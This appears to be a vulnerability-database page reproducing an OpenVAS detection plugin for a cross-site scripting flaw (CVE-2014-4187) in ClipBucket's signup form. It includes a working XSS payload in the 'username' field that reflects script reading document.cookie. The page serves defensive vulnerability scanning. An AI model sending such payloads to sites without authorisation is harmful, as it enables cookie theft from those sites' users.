Lucene search
+L

ClipBucket < 2.7 XSS Vulnerability - Active Check

🗓️ 18 Jun 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 20 Views

ClipBucket 'Username' Parameter Cross-Site Scripting Vulnerability. Input via 'Username' parameter on 'signup.php' script is not properly sanitized. Successful exploit allows execution of arbitrary HTML and script code

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2014-4187
17 Jun 201414:00
cve
cvelist
Cvelist
CVE-2014-4187
17 Jun 201414:00
cvelist
euvd
EUVD
EUVD-2014-4116
7 Oct 202500:30
euvd
nvd
NVD
CVE-2014-4187
17 Jun 201414:55
nvd
prion
Prion
Cross site scripting
17 Jun 201414:55
prion
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oxygenz:clipbucket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804641");
  script_version("2026-06-12T07:09:59+0000");
  script_tag(name:"last_modification", value:"2026-06-12 07:09:59 +0000 (Fri, 12 Jun 2026)");
  script_tag(name:"creation_date", value:"2014-06-18 11:17:33 +0530 (Wed, 18 Jun 2014)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2014-4187");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("ClipBucket < 2.7 XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_clipbucket_http_detect.nasl");
  script_mandatory_keys("clipbucket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"ClipBucket is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Input passed via the HTTP POST parameter 'Username' to
  'signup.php' script is not properly sanitised before returning to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"ClipBucket version 2.6 revision 738. Other versions may also
  be affected.");

  script_tag(name:"solution", value:"Update to version 2.7 beta or later.");

  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2014/Jun/119");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127098");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/532432/100/0/threaded");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/signup.php";

headers = make_array("Content-Type", "application/x-www-form-urlencoded");

data = 'username="><script>alert(document.cookie)</script>';

req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ "^HTTP/1\.[01] 200" && '><script>alert(document.cookie)</script>' >< res &&
    '>Clipbucket' >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation